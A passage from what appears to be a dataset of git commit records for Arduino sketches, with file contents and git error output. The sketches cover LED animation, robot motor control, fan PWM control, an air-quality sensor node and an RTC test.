delta = -1; \/\/ 1 or -1. Sets forward or backwards direction.\n\n\n\/\/---------------------------------------------------------------\nvoid setup() {\n delay(1000); \/\/ Startup delay\n \/\/Serial.begin(57600); \/\/ Allows serial monitor output (check baud rate)\n \/\/FastLED.addLeds<LED_TYPE,DATA_PIN,CLOCK_PIN>,COLOR_ORDER,(leds, NUM_LEDS); \/\/ ***For strips using Clock.\n FastLED.addLeds<LED_TYPE,DATA_PIN>(leds, NUM_LEDS); \/\/ ***For Clock-less strips.\n FastLED.setBrightness(MASTER_BRIGHTNESS);\n}\n\n\n\/\/---------------------------------------------------------------\nvoid loop() { \/\/ START MAIN LOOP\n\n \/\/ Set position and color of pixels\n leds[(positionWhite + delta + NUM_LEDS) % NUM_LEDS] = CRGB::White;\n leds[(positionRed + delta + NUM_LEDS) % NUM_LEDS] = CRGB::Red;\n leds[(positionBlue + delta + NUM_LEDS) % NUM_LEDS] = CRGB::Blue;\n\n \/\/ Show the pixels\n \/\/ NOTE: Using FastLED.delay will automatically also \"show\" the pixels,\n \/\/ therefore no need for a FastLED.show imediately followed by FastLED.delay\n \/\/FastLED.show();\n FastLED.delay(holdTime); \/\/ Delay for a bit.\n \n \/\/ Set pixels back to Black for the next loop around.\n leds[(positionWhite + delta + NUM_LEDS) % NUM_LEDS] = CRGB::Black;\n leds[(positionRed + delta + NUM_LEDS) % NUM_LEDS] = CRGB::Black;\n leds[(positionBlue + delta + NUM_LEDS) % NUM_LEDS] = CRGB::Black;\n\n \/\/ Advance position based on delta, and rollover if needed.\n positionWhite = ((positionWhite + delta + NUM_LEDS) % NUM_LEDS);\n positionRed = ((positionRed + delta + NUM_LEDS) % NUM_LEDS);\n positionBlue = ((positionBlue + delta + NUM_LEDS) % NUM_LEDS);\n\n\n \/\/Serial.print(\"position = \"); Serial.println(positionWhite);\n\n} \/\/ END MAIN LOOP\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'test_three_moving_pixels_v3.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"8c8fb25b53958b23cf31834905817c7fe16ea0c0","subject":"This is the blue team code","message":"This is the blue team code\n","repos":"neicnordic\/heirsofdoom,tiggi\/heirsofdoom,neicnordic\/heirsofdoom","old_file":"blue\/neciblueteamside.ino","new_file":"blue\/neciblueteamside.ino","new_contents":"\/*************************************************************************\n* File Name : neicblueteamside.ino\n* Author : Neic Blue team\n* Version : V1.0.0\n* Date : 20160127\n* Description : Neic TEAM challange \n**************************************************************************\/\n#include <Makeblock.h>\n#include <Arduino.h>\n#include <SoftwareSerial.h>\n#include <Wire.h>\n\nMeUltrasonicSensor ultraSensor(PORT_3); \/\/Ultrasonic module can ONLY be connected to port 3, 4, 6, 7, 8 of base shield.\nMe7SegmentDisplay disp(PORT_6);\nMeLimitSwitch limitSwitch2(PORT_8,SLOT2);\n\/\/port 8 \nMeDCMotor motor1(M1);\nMeDCMotor motor2(M2);\nuint8_t motorSpeed = 255;\nuint8_t turnSpeed = 200;\n\nboolean turn=false;\nboolean adjust=false;\n#define filterSamples 26 \/\/ filterSamples should be an odd number, no smaller than 3\nint sensSmoothArray1 [filterSamples]; \/\/ array for holding raw sensor values for sensor1 \n\nint CM,smoothData1 ;\n\nvoid setup()\n{\n\n Serial.begin(9600);\n Serial.println(\"Start.\");\n delay(1000);\n \n motor1.run(motorSpeed);\n motor2.run(-motorSpeed); \n}\n\n\nvoid loop()\n{\n \n CM = ultraSensor.distanceCm();\n smoothData1 = digitalSmooth(CM, sensSmoothArray1);\n \n\tdisp.display(CM);\n\n\n\nif(!turn){\n if(limitSwitch2.touched()){\n motor1.run(turnSpeed);\n motor2.run(turnSpeed);\n delay(320);\n }\n else{\n \n if( (CM < 13) )\n {\n motor1.run(motorSpeed);\n motor2.run(0.5 * -motorSpeed); \n \n }\n else if ((CM >15) || (CM< 1) )\n {\n motor1.run(0.5 * motorSpeed);\n motor2.run(-motorSpeed);\n }\n else {\n motor1.run(motorSpeed);\n motor2.run(-motorSpeed); \n }\n }\n \n}\n\n\n\n \n \n\n}\n\n\n\nint digitalSmooth(int rawIn, int *sensSmoothArray){ \/\/ \"int *sensSmoothArray\" passes an array to the function - the asterisk indicates the array name is a pointer\n int j, k, temp, top, bottom;\n long total;\n static int i;\n \/\/ static int raw[filterSamples];\n static int sorted[filterSamples];\n boolean done;\n\n i = (i + 1) % filterSamples; \/\/ increment counter and roll over if necc. - % (modulo operator) rolls over variable\n sensSmoothArray[i] = rawIn; \/\/ input new data into the oldest slot\n\n \/\/ Serial.print(\"raw = \");\n\n for (j=0; j<filterSamples; j++){ \/\/ transfer data array into anther array for sorting and averaging\n sorted[j] = sensSmoothArray[j];\n }\n\n done = 0; \/\/ flag to know when we're done sorting \n while(done != 1){ \/\/ simple swap sort, sorts numbers from lowest to highest\n done = 1;\n for (j = 0; j < (filterSamples - 1); j++){\n if (sorted[j] > sorted[j + 1]){ \/\/ numbers are out of order - swap\n temp = sorted[j + 1];\n sorted [j+1] = sorted[j] ;\n sorted [j] = temp;\n done = 0;\n }\n }\n }\n\n\/*\n for (j = 0; j < (filterSamples); j++){ \/\/ print the array to debug\n Serial.print(sorted[j]); \n Serial.print(\" \"); \n }\n Serial.println();\n*\/\n\n \/\/ throw out top and bottom 15% of samples - limit to throw out at least one from top and bottom\n bottom = max(((filterSamples * 15) \/ 100), 1); \n top = min((((filterSamples * 85) \/ 100) + 1 ), (filterSamples - 1)); \/\/ the + 1 is to make up for asymmetry caused by integer rounding\n k = 0;\n total = 0;\n for ( j = bottom; j< top; j++){\n total += sorted[j]; \/\/ total remaining indices\n k++; \n \/\/ Serial.print(sorted[j]); \n \/\/ Serial.print(\" \"); \n }\n\n\/\/ Serial.println();\n\/\/ Serial.print(\"average = \");\n\/\/ Serial.println(total\/k);\n return total \/ k; \/\/ divide by number of samples\n}\n\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'blue\/neciblueteamside.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"d3f48ac567d81676f589ebeb6f7ebdea9d9380c4","subject":"add initial bridgehead for hardware revision 5.0.7","message":"add initial bridgehead for hardware revision 5.0.7\n","repos":"Bengt\/AL-FanControl,Bengt\/AL-FanControl,Bengt\/AL-FanControl","old_file":"arduino\/bridgehead2\/bridgehead3_Mega_v5.0.7\/bridgehead3_Mega_v5.0.7\/bridgehead3_Mega_v5.0.7.ino","new_file":"arduino\/bridgehead2\/bridgehead3_Mega_v5.0.7\/bridgehead3_Mega_v5.0.7\/bridgehead3_Mega_v5.0.7.ino","new_contents":"const int PINS_PULSE[] = {14, 15, 16, 17, 18, 19, SDA, SCL, A0, A1, A2, A4, A7, A9, A15, A12};\nconst int PINS_PWM[] = {1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 13, 44, 45, 46};\nconst int MICROSECONDS_IN_ONE_SECOND = 1000000;\n\n\nvoid setup() {\n const int PWM_FREQUENCY_TARGET = 24000;\n\n \/\/ The base frequency for pins 2, 3, 5, 6, 7, 8, 9, 10, 11, 12, and 46 is 31250 Hz\n \/\/ So set a pin's PWM frequency of each clock to 31250 Hz \/ 1 = 31250 Hz\n setPwmFrequency( 2, 1);\n setPwmFrequency( 6, 1);\n setPwmFrequency( 9, 1);\n setPwmFrequency(11, 1);\n setPwmFrequency(44, 1);\n\n \/\/ The base frequency for pins 4 and 13 is 62500 Hz\n \/\/ Set pin 4's PWM frequency to 62500\/8 = 7813 Hz\n setPwmFrequency(4, 2);\n\n \/\/ space out fan speeds a bit to avoid some resonance\n int pwms[16] = {38, 39, 38, 38, 38, 38, 38, 38, 38, 38, 38, 38, 38, 38, 38, 38};\n\n \/\/ Shuffle PWM values to load fans randomly\n for (int i = 0; i < 16 - 1; i++) {\n int j = random(0, 16 - i);\n\n int t = pwms[i];\n pwms[i] = pwms[j];\n pwms[j] = t;\n }\n\n \/\/ Send a start up pulse\n setPwms(pwms);\n\n \/\/ Initialize pulse pins\n for (int i = 0; i < 16; i++) \n pinMode(PINS_PULSE[i], INPUT_PULLUP);\n\n const int SERIAL_BD_RATE = 19200;\n Serial.begin(SERIAL_BD_RATE);\n Serial.write(\"Setup done\");\n}\n\nint* messageToPwms(String message) {\n \/\/ Caution: Non-reentrant return value.\n static int pwms[16];\n\n int separator_position;\n for (int i = 0; i < 16; i++) {\n \/\/ Determine next separator\n separator_position = message.indexOf(';');\n \n \/\/ Parse value left of a ';' \n pwms[i] = message.substring(0, separator_position).toInt();\n\n \/\/ Strip part left of a ';' from message\n message = message.substring(separator_position + 1);\n }\n\n return pwms;\n}\n\nvoid logPulseIntervals() {\n String pulseDurations = \"\";\n\n \/\/ Collect pulse durations from all fans into a message\n for (int i = 0; i < 16; i++)\n pulseDurations = \\\n pulseDurations + \\\n String(\n float(MICROSECONDS_IN_ONE_SECOND) \/\n pulseIn(PINS_PULSE[i], LOW, 200000)\n ) + \\\n \";\";\n\n \/\/ Log message to the host via the serial interface\n Serial.println(pulseDurations);\n}\n\nvoid setPwms(int pwms[]) {\n \/\/ Set PWM value to each fan\n for (byte channel_index = 0; channel_index < 16; channel_index++)\n analogWrite(PINS_PWM[channel_index], pwms[channel_index]);\n}\n\nString LAST_MESSAGE = \"\";\nvoid loop() {\n \/\/ Get message from serial console\n String message = \"\";\n while (Serial.available())\n message.concat((char) Serial.read());\n\n if (message == \"\") {\n if (LAST_MESSAGE == \"\") {\n \/\/ We have never gotten a message.\n \/\/ So keep waiting for one.\n return;\n } else {\n \/\/ We have not gotten a message this time, but last time.\n \/\/ So use the last message as our current one.\n message = LAST_MESSAGE;\n \/\/ We already know that the current message equals last message.\n \/\/ So log the pulse intervals.\n logPulseIntervals();\n }\n } else {\n \/\/ We got a message this time.\n if (LAST_MESSAGE == message) {\n \/\/ This message was repeated by the host.\n \/\/ So log the pulse intervals.\n logPulseIntervals(); \n } else {\n \/\/ This message was new.\n \/\/ So update the last message.\n LAST_MESSAGE = message;\n \/\/ Also update the PWMs and the log pulse intervals.\n setPwms(messageToPwms(message));\n logPulseIntervals();\n }\n }\n\n Serial.println(\".\");\n}\n\nvoid setPwmFrequency(int pin, int divisor) {\n byte mode;\n\n if(pin == 4 || pin == 13) {\n switch(divisor) {\n case 1: mode = 0x01; break;\n case 8: mode = 0x02; break;\n case 64: mode = 0x03; break;\n case 256: mode = 0x04; break;\n case 1024: mode = 0x05; break;\n default: return;\n }\n TCCR0B = TCCR0B & B11111000 | mode;\n return;\n }\n\n if(pin == 11 || pin == 12) {\n switch(divisor) {\n case 1: mode = 0x01; break;\n case 8: mode = 0x02; break;\n case 64: mode = 0x03; break;\n case 256: mode = 0x04; break;\n case 1024: mode = 0x05; break;\n default: return;\n }\n TCCR1B = TCCR1B & B11111000 | mode;\n return;\n }\n\n if(pin == 9 || pin == 10) {\n switch(divisor) {\n case 1: mode = 0x01; break;\n case 8: mode = 0x02; break;\n case 32: mode = 0x03; break;\n case 64: mode = 0x04; break;\n case 128: mode = 0x05; break;\n case 256: mode = 0x06; break;\n case 1024: mode = 0x07; break;\n default: return;\n }\n TCCR2B = TCCR2B & B11111000 | mode;\n return;\n }\n\n if(pin == 2 || pin == 3 || pin == 5) {\n switch(divisor) {\n case 1: mode = 0x01; break;\n case 8: mode = 0x02; break;\n case 64: mode = 0x03; break;\n case 256: mode = 0x04; break;\n case 1024: mode = 0x05; break;\n default: return;\n }\n TCCR3B = TCCR3B & B11111000 | mode;\n return;\n }\n\n if(pin == 6 || pin == 7 || pin == 8) {\n switch(divisor) {\n case 1: mode = 0x01; break;\n case 8: mode = 0x02; break;\n case 64: mode = 0x03; break;\n case 256: mode = 0x04; break;\n case 1024: mode = 0x05; break;\n default: return;\n }\n TCCR4B = TCCR4B & B11111000 | mode;\n return;\n }\n\n if(pin == 44 || pin == 45 || pin == 46) {\n switch(divisor) {\n case 1: mode = 0x01; break;\n case 8: mode = 0x02; break;\n case 64: mode = 0x03; break;\n case 256: mode = 0x04; break;\n case 1024: mode = 0x05; break;\n default: return;\n }\n TCCR5B = TCCR5B & B11111000 | mode;\n return;\n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'arduino\/bridgehead2\/bridgehead3_Mega_v5.0.7\/bridgehead3_Mega_v5.0.7\/bridgehead3_Mega_v5.0.7.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"22fd7d67e2c7f43b10ccac615f72d278881a2d30","subject":"Update pt_remote controlled car2.ino","message":"Update pt_remote controlled car2.ino","repos":"billhhh\/bill_ProtoThreads_arduino,billhhh\/bill_ProtoThreads_arduino,billhhh\/bill_ProtoThreads_arduino","old_file":"pt_remote controlled car\/pt_remote controlled car2.ino","new_file":"pt_remote controlled car\/pt_remote controlled car2.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'pt_remote' did not match any file(s) known to git\nerror: pathspec 'controlled' did not match any file(s) known to git\nerror: pathspec 'car\/pt_remote' did not match any file(s) known to git\nerror: pathspec 'controlled' did not match any file(s) known to git\nerror: pathspec 'car2.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"4555f9ebcb38e862796833905b3a6e3898780e34","subject":"oh, did this ever work??","message":"oh, did this ever work??\n","repos":"trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone","old_file":"ArduinoClient\/SPI.ino","new_file":"ArduinoClient\/SPI.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/trinamic\/T-Bone.git\/'\n","license":"agpl-3.0","lang":"Arduino"} {"commit":"bdd77e83e8f011a1dc37a828b7217d9f7e1ce238","subject":"Added v0.51 firmware","message":"Added v0.51 firmware","repos":"NationalAssociationOfRealtors\/IndoorAirQualitySensor","old_file":"firmware\/SensorBoard_node_051.ino\/SensorBoard_node_051.ino.ino","new_file":"firmware\/SensorBoard_node_051.ino\/SensorBoard_node_051.ino.ino","new_contents":"#include <RFM69.h> \/\/ https:\/\/github.com\/LowPowerLab\/RFM69\n#include <SPI.h>\n#include <Arduino.h>\n#include <Wire.h> \n#include \"Adafruit_SHT31.h\" \/\/https:\/\/github.com\/adafruit\/Adafruit_SHT31\n#include <Adafruit_BMP280.h> \/\/ https:\/\/github.com\/adafruit\/Adafruit_BMP280_Library\n#include <Adafruit_Sensor.h> \/\/ https:\/\/github.com\/adafruit\/Adafruit_Sensor\n#include <Adafruit_TSL2561_U.h> \/\/ https:\/\/github.com\/adafruit\/Adafruit_TSL2561\n#include <avr\/sleep.h>\n#include <avr\/wdt.h>\n\n\/\/ define node parameters\nchar node[] = \"19\";\n#define NODEID 19 \/\/ same sa above - must be unique for each node on same network (range up to 254, 255 is used for broadcast)\n#define GATEWAYID 1\n#define NETWORKID 101\n#define FREQUENCY RF69_915MHZ \/\/Match this with the version of your Moteino! (others: RF69_433MHZ, RF69_868MHZ)\n#define ENCRYPTKEY \"Tt-Mh=SQ#dn#JY3_\" \/\/has to be same 16 characters\/bytes on all nodes, not more not less!\n#define IS_RFM69HW \/\/uncomment only for RFM69HW! Leave out if you have RFM69W!\n#define LED 9\n\n\/\/ define objects\nRFM69 radio;\nAdafruit_BMP280 bme; \/\/ I2C\nAdafruit_SHT31 sht31 = Adafruit_SHT31();\nAdafruit_TSL2561_Unified tsl = Adafruit_TSL2561_Unified(TSL2561_ADDR_FLOAT, 12345);\n\n\/\/ define IAQ core global variables\n#define iaqaddress 0x5A\nuint16_t co2;\nuint8_t statu;\nint32_t resistance;\nuint16_t tvoc;\n\n\/\/ define global variables\nlong lux;\nfloat bar;\nfloat sound;\n\nchar dataPacket[150];\n\nISR(WDT_vect) \/\/ Interrupt service routine for WatchDog Timer\n{\n wdt_disable(); \/\/ disable watchdog\n}\n\nvoid setup()\n{\n pinMode(10, OUTPUT);\n Serial.begin(115200);\n Serial.println(\"Setup\");\n\n radio.initialize(FREQUENCY,NODEID,NETWORKID);\n#ifdef IS_RFM69HW\n radio.setHighPower(); \/\/uncomment only for RFM69HW!\n#endif\n radio.encrypt(ENCRYPTKEY);\n \n pinMode(9, OUTPUT); \/\/ pin 9 controls LED\n \/\/pinMode(5, OUTPUT); \/\/ pin 5 controls power to all sensors\n \/\/digitalWrite(5, HIGH); \/\/ turn all sensors on\n \/\/delay(10);\n\n Serial.println(\"Ready\");\n}\n\n\nvoid sleep()\n{\n \n Serial.flush(); \/\/ empty the send buffer, before continue with; going to sleep\n \n radio.sleep();\n \n cli(); \/\/ stop interrupts\n MCUSR = 0;\n WDTCSR = (1<<WDCE | 1<<WDE); \/\/ watchdog change enable\n WDTCSR = 1<<WDIE | (1<<WDP3) | (0<<WDP2) | (0<<WDP1) | (0<<WDP0); \/\/ set prescaler to 4 second\n sei(); \/\/ enable global interrupts\n\n byte _ADCSRA = ADCSRA; \/\/ save ADC state\n ADCSRA &= ~(1 << ADEN);\n\n asm(\"wdr\");\n set_sleep_mode(SLEEP_MODE_PWR_DOWN);\n cli(); \n\n sleep_enable(); \n sleep_bod_disable();\n sei(); \n sleep_cpu(); \n \n sleep_disable(); \n sei(); \n\n ADCSRA = _ADCSRA; \/\/ restore ADC state (enable ADC)\n delay(1);\n}\n\n\nvoid loop() \n{\n sleep();\n\n\n readSensors();\n \n Serial.println(dataPacket);\n delay(50);\n\n \/\/ send datapacket\n radio.sendWithRetry(GATEWAYID, dataPacket, strlen(dataPacket), 5, 100); \/\/ send data, retry 5 times with delay of 100ms between each retry\n dataPacket[0] = (char)0; \/\/ clearing first byte of char array clears the array\n \n fadeLED();\n}\n\n\n\nvoid readSensors()\n{\n \/\/T\/RH\n sht31.begin(0x44);\n float temp = sht31.readTemperature();\n float rh = sht31.readHumidity();\n\n \n \/\/light\n tsl.begin(); \n tsl.enableAutoRange(true);\n \/\/tsl.setIntegrationTime(TSL2561_INTEGRATIONTIME_13MS); \/* fast but low resolution *\/\n tsl.setIntegrationTime(TSL2561_INTEGRATIONTIME_101MS); \/* medium resolution and speed *\/\n \/\/ tsl.setIntegrationTime(TSL2561_INTEGRATIONTIME_402MS); \/* 16-bit data but slowest conversions *\/\n sensors_event_t event;\n tsl.getEvent(&event);\n if (event.light)\n lux = event.light;\n else\n lux = -1;\n\n\n \/\/ IAQ core\n Wire.requestFrom(iaqaddress, 9);\n co2 = (Wire.read()<< 8 | Wire.read()); \n statu = Wire.read();\n resistance = (Wire.read()& 0x00)| (Wire.read()<<16)| (Wire.read()<<8| Wire.read());\n tvoc = (Wire.read()<<8 | Wire.read());\n\n \n \/\/ ADMP401 mic for sound level\n float sumADC=0.0;\n for(int i=0;i<5;i++)\n {\n sumADC = sumADC + analogRead(A0); \/\/ take avg of 5 readings\n }\n float averageADC = sumADC\/5.0;\n float volts = (averageADC\/1023.0 * 3.3);\n sound = (20 * log10(volts\/0.007943)) - 42 + 94 - 60; \/\/ VRMS = 0.007943; -42dB is sensitivity of ADMP401 mic; 1 Pa = 94 dB SPL RMS; 60dB is gain of amplifier\n \/\/ the above is uncalibrated sound level - needs to be calibrated with reference to an accurate sound level meter in varying SPLs, frequencies and environments.\n \n\n \/\/ BMP280 air pressure sensor\n bme.begin();\n float bar = bme.readPressure();\n bar = bar \/ 3386.39; \/\/ convert pressure in Pa to inches of Mercury\n \n\n\n \/\/ define character arrays for all variables\n \/\/char _i[4];\n char _t[7];\n char _h[7];\n char _c[7];\n char _o[7];\n char _g[7];\n char _l[7];\n char _n[7];\n char _s[7];\n char _v[7];\n \n \/\/ convert all flaoting point and integer variables into character arrays\n \/\/dtostrf(nodeID, 2, 0, _i);\n dtostrf(temp, 3, 1, _t); \/\/ this function converts float into char array. 3 is minimum width, 2 is decimal precision\n dtostrf(rh, 3, 1, _h);\n dtostrf(co2, 3, 0, _c); \n dtostrf(bar, 3, 2, _g);\n dtostrf(lux, 1, 0, _l);\n dtostrf(sound, 1, 1, _s);\n dtostrf(tvoc, 1, 0, _v);\n delay(50);\n \n dataPacket[0] = 0; \/\/ first value of dataPacket should be a 0\n \n \/\/ create datapacket by combining all character arrays into a large character array\n strcat(dataPacket, \"i:\");\n strcat(dataPacket, node);\n strcat(dataPacket, \",t:\");\n strcat(dataPacket, _t);\n strcat(dataPacket, \",h:\");\n strcat(dataPacket, _h);\n strcat(dataPacket, \",c:\");\n strcat(dataPacket, _c);\n strcat(dataPacket, \",g:\");\n strcat(dataPacket, _g);\n strcat(dataPacket, \",l:\");\n strcat(dataPacket, _l);\n strcat(dataPacket, \",s:\");\n strcat(dataPacket, _s);\n strcat(dataPacket, \",v:\");\n strcat(dataPacket, _v);\n delay(50);\n}\n\n\n\n\nvoid fadeLED()\n{\n int brightness = 0;\n int fadeAmount = 5;\n for(int i=0; i<510; i=i+5) \/\/ 255 is max analog value, 255 * 2 = 510\n {\n analogWrite(9, brightness); \/\/ pin 9 is LED\n \n \/\/ change the brightness for next time through the loop:\n brightness = brightness + fadeAmount; \/\/ increment brightness level by 5 each time (0 is lowest, 255 is highest)\n \n \/\/ reverse the direction of the fading at the ends of the fade:\n if (brightness <= 0 || brightness >= 255)\n {\n fadeAmount = -fadeAmount;\n }\n \/\/ wait for 20-30 milliseconds to see the dimming effect\n delay(10);\n }\n digitalWrite(9, LOW); \/\/ switch LED off at the end of fade\n}\n\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'firmware\/SensorBoard_node_051.ino\/SensorBoard_node_051.ino.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"7f1cbc02dfef801e0435ffaa8f295d6a5f9b98aa","subject":"Always record sentinel in Log as R, Pretty up Log and Diag output.","message":"Always record sentinel in Log as R, Pretty up Log and Diag output.\n","repos":"upperman\/Wireless-Led-Display,upperman\/Wireless-Led-Display","old_file":"Software\/arduino\/arduino.ino","new_file":"Software\/arduino\/arduino.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/upperman\/Wireless-Led-Display.git\/'\n","license":"apache-2.0","lang":"Arduino"} {"commit":"dbe87248561d44f771d0bc71dbe1e55c20c1eab6","subject":"Create BotCode.ino","message":"Create BotCode.ino","repos":"AaronYeoh\/ArduinoWarmanRobot","old_file":"BotCode.ino","new_file":"BotCode.ino","new_contents":"\/* \n \n MODIFIED BY Aaron Yeoh.\n \n For use with the Adafruit Motor Shield v2 \n ---->\thttp:\/\/www.adafruit.com\/products\/1438\n *\/\n#ifndef STUFF\n#define STUFF\n\n#include <Wire.h>\n#include <Adafruit_MotorShield.h>\n#include \"utility\/Adafruit_PWMServoDriver.h\"\n\n#endif\n\n#include \"ClassBot.h\"\n\nint led = 13;\nBot bot;\n\nvoid setup() {\n Serial.begin(9600); \/\/ set up Serial library at 9600 bps\n Serial.println(\"Stepper test!\");\n pinMode(led, OUTPUT); \n bot.Init();\n}\nint i;\nvoid loop() {\n digitalWrite(led, HIGH);\n Serial.println(\"Stepper test222222!\");\n bot.Forward(500);\n delay(1000);\n bot.Backward();\n bot.Left(425);\n bot.Backward(125);\n bot.Right();\n bot.RotCW();\n bot.RotCCW();\n digitalWrite(led, LOW);\n delay(5000);\n while(1) {} \/\/Stops everything.\n\n\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'BotCode.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"eae3ca24accfebd2c05dda61c56ee7dd466aee33","subject":"adding first test skel","message":"adding first test skel\n","repos":"pandragoq\/pollosweather,pandragoq\/pollosweather","old_file":"test\/serial_test.ino","new_file":"test\/serial_test.ino","new_contents":"#include <SoftwareSerial.h>\n#define GPRS_TX 2\n#define GPRS_RX 3\nchar replybuffer[255];\n\nSoftwareSerial ss = SoftwareSerial(GPRS_TX, GPRS_RX);\n\nuint8_t readline(char *buff, uint8_t maxbuff, uint16_t timeout = 0);\n\nuint8_t type;\n\nvoid setup() {\n while (!Serial);\n\n Serial.begin(115200);\n Serial.println(F(\"Testing basic GPRS\"));\n ss->begin(9600);\n\n mainMenu();\n \n}\n\nvoid mainMenu(){\n Serial.println(F(\"-------------------------------------\"));\n Serial.println(F(\"[?] Print this menu\"));\n Serial.println(F(\"[G] Enable GPRS\"));\n Serial.println(F(\"[w] Read webpage (GPRS)\"));\n Serial.println(F(\"[W] Post to website (GPRS)\"));\n Serial.println(F(\"[n] get Network status\"));\n Serial.println(F(\"[Y] Enable NTP time sync\"));\n Serial.println(F(\"[t] Get network time\"));\n Serial.println(F(\"[O] Turn GPS on\"));\n Serial.println(F(\"[S] create Serial passthru tunnel\"));\n Serial.println(F(\"-------------------------------------\"));\n Serial.println(F(\"\"));\n\nvoid loop(){\n while (!Serial.available()) {\n }\n\n char command = Serial.read();\n Serial.println(command);\n\n switch(command) {\n case '?': {\n mainMenu();\n break;\n }\n case 'G': {\n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'test\/serial_test.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"9d6489db1b4f38d352b7c4c1600976c6ec908b38","subject":"Thermo couples and output LEDs working on new hardware.","message":"Thermo couples and output LEDs working on new hardware.\n","repos":"FirstBuild\/pizzaduino,FirstBuild\/pizzaduino,FirstBuild\/pizzaduino","old_file":"PizzaOvenControllerSketch\/PizzaOvenControllerSketch.ino","new_file":"PizzaOvenControllerSketch\/PizzaOvenControllerSketch.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/FirstBuild\/pizzaduino.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"1dd9da0287049f6255ea0ec92b1de69fc46bf756","subject":"rf test","message":"rf test\n","repos":"TinkerUMD\/TinkerUMD","old_file":"Tests\/tx_track_sig\/tx_track_sig.ino","new_file":"Tests\/tx_track_sig\/tx_track_sig.ino","new_contents":"\/\/Send A.1.A.1\n\nint potValA;\nint potValB;\nint potValC;\nchar posA = 1;\nchar posB = 2;\nchar posC = 3;\n\nvoid setup(){ \n \/\/Serial baud - 9600\n Serial.begin(9600);\n}\nvoid loop(){\n potValA= analogRead(A0);\n potValB= analogRead(A1);\n potValC= analogRead(A2);\n \n if(potValA < 140){\n \/\/Send position 1\n posA = '1';\n }else if(potValA < 500){\n \/\/Send position 2\n posA = '2';\n }else if(potValA < 870){\n \/\/Send position 3\n posA = '3';\n }else{\n \/\/Send position 4\n posA = '4';\n }\n \n if(potValB < 140){\n \/\/Send position 1\n posB = '1';\n }else if(potValB < 500){\n \/\/Send position 2\n posB = '2';\n }else if(potValB < 870){\n \/\/Send position 3\n posB = '3';\n }else{\n \/\/Send position 4\n posB = '4';\n }\n \n if(potValC < 140){\n \/\/Send position 1\n posC = '1';\n }else if(potValC < 500){\n \/\/Send position 2\n posC = '2';\n }else if(potValC < 870){\n \/\/Send position 3\n posC = '3';\n }else{\n \/\/Send position 4\n posC = '4';\n }\n \n Serial.write(\"A\");\n Serial.write(posA);\n Serial.write(\"B\");\n Serial.write(posB);\n Serial.write(\"C\");\n Serial.write(posC);\n \n delay(500);\n \n}\n\n\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Tests\/tx_track_sig\/tx_track_sig.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"ea50006a880760eb9e910ca1269b9c9185f9cdfd","subject":"Basic test for the RTC class","message":"Basic test for the RTC class","repos":"ilFuria\/ASOM,maczinga\/ASOM,ilFuria\/ASOM,maczinga\/ASOM","old_file":"examples\/RTCtest\/RTCtest.ino","new_file":"examples\/RTCtest\/RTCtest.ino","new_contents":"\/**\n \\file RTCtest.ino\n \\brief Basic test file for the RTC class.\n \\details This basic examples sets the date and time on the main clock and then\n loops reading the new date and time. Data are printed on the serial monitor.\n \\author Enrico Formenti\n \\version 0.1\n \\date 2012-2013\n \\warning The author is not responsible for any damage or... \n caused by this software. Use it at your own risk.\n \\copyright BSD license. See license.txt for more details. \n All text above must be included in any redistribution. \n*\/\n\n#include <RTC.h>\n#include <Wire.h>\n#include <Serial.h>\n\n#define MPF_PIN 0\n\nconst static char *Days[] = {\n \"Mon\", \"Tue\", \"Wed\", \"Thu\", \"Fri\", \"Sat\", \"Sun\"\n};\n\nuint8_t year, month, date, day, hours, minutes, seconds;\nRTC rtc(MPF_PIN);\n\nvoid setup()\n{\n\tSerial.begin(9600);\n\t\n\trtc.setTime( RTC::RTC_MAIN, \"smh\", 0, 0, 12 );\n\trtc.setDate( RTC::RTC_MAIN, \"ymnd\", 12, 12, 30, 7 );\n\tdelay(100); \/\/ wait a while\n}\n\nvoid loop(){\n \n\trtc.getDate( RTC::RTC_MAIN, \"ymnd\", &year, &month, &date, &day);\n\trtc.getTime( RTC::RTC_MAIN, \"hms\", &hours, &minutes, &seconds);\n\tSerial.print(Days[day]);\n\tSerial.print(\",\");\n\tSerial.print(date);\n\tSerial.print(\" \");\n\tSerial.print(month);\n\tSerial.print(\" \");\n\tSerial.print(\"20\"); \/\/year beginning with 20xx\n\tSerial.print(year);\n\tSerial.print(\" at 